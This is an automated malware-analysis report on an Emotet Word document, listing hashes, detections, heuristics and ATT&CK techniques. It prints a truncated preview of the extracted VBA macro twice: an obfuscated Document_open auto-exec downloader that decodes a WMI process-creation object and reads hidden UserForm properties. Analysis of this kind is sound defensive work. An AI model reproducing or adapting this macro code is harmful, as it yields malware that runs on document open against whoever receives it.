Emotet Office (OLE) malware analysis — malicious · 84365cdf0acc3716

MALICIOUS

Office (OLE)

189.8 KB Created: 2020-07-17 12:26:00 Authoring application: Microsoft Office Word First seen: 2020-09-04

MD5: 4b3547e978b2ecf8febd7f1f87c6d11c SHA-1: 988478061370f3040e9db79f25d8ca2ccbe9e825 SHA-256: 84365cdf0acc37160c46a5af516fb15b8f2a0c65e5389684978e603a3d5c979c

262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The critical heuristic firing for 'VBA UserForm hidden-property command stager' and the ClamAV detection 'Doc.Downloader.Emotet-10022426-0' strongly suggest this is an Emotet downloader. The VBA script likely attempts to download and execute a secondary payload.

Heuristics 7

ClamAV: Doc.Downloader.Emotet-10022426-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-10022426-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 60663 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	60663 bytes
SHA-256: `946d59ec7107d13bdf8a07c048205fd6165f31ad9789bca98f6f465fd5f4feb3`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "moaljuamgaepquaiwbouquzux" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() peorweequ End Sub Attribute VB_Name = "pootcunquaizchaufveogtheiy" Attribute VB_Base = "0{E200E488-70AB-4957-981F-D873936DD043}{BAF7879A-DCC7-493B-959C-3CE89D413F91}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "naipkoobjauth" Function peorweequ() xoip = Chr(pootcunquaizchaufveogtheiy.Zoom + 1 + 4 + 10) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If feogpeixpoawmoidcaem = "6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDw6723tguT&^$^RFy23uikJGDi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn6723tguT&^$^RFy23uikJGDm6723tguT&^$^RFy23uikJGDg6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDmt6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + xoip + ":6723tguT&^$^RFy23uikJGDwi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn36723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD26723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD_6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + pootcunquaizchaufveogtheiy.yeunfoobvuch + "r6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDo6723tguT&^$^RFy23uikJGDce6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD" bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If chaechchithcaop = neelyuuchchuug(feogpeixpoawmoidcaem) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If Set loutquiodkoedfeilveutquaoch = CreateObject(chaechchithcaop) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If sabjaulpiey = pootcunquaizchaufveogtheiy.jipjavdoic.ControlTipText bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103 ... (truncated)

SHA-256: 946d59ec7107d13bdf8a07c048205fd6165f31ad9789bca98f6f465fd5f4feb3

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "moaljuamgaepquaiwbouquzux"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
peorweequ
End Sub

Attribute VB_Name = "pootcunquaizchaufveogtheiy"
Attribute VB_Base = "0{E200E488-70AB-4957-981F-D873936DD043}{BAF7879A-DCC7-493B-959C-3CE89D413F91}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "naipkoobjauth"
Function peorweequ()
xoip = Chr(pootcunquaizchaufveogtheiy.Zoom + 1 + 4 + 10)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
feogpeixpoawmoidcaem = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + xoip + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + pootcunquaizchaufveogtheiy.yeunfoobvuch + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
chaechchithcaop = neelyuuchchuug(feogpeixpoawmoidcaem)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
Set loutquiodkoedfeilveutquaoch = CreateObject(chaechchithcaop)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
sabjaulpiey = pootcunquaizchaufveogtheiy.jipjavdoic.ControlTipText
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.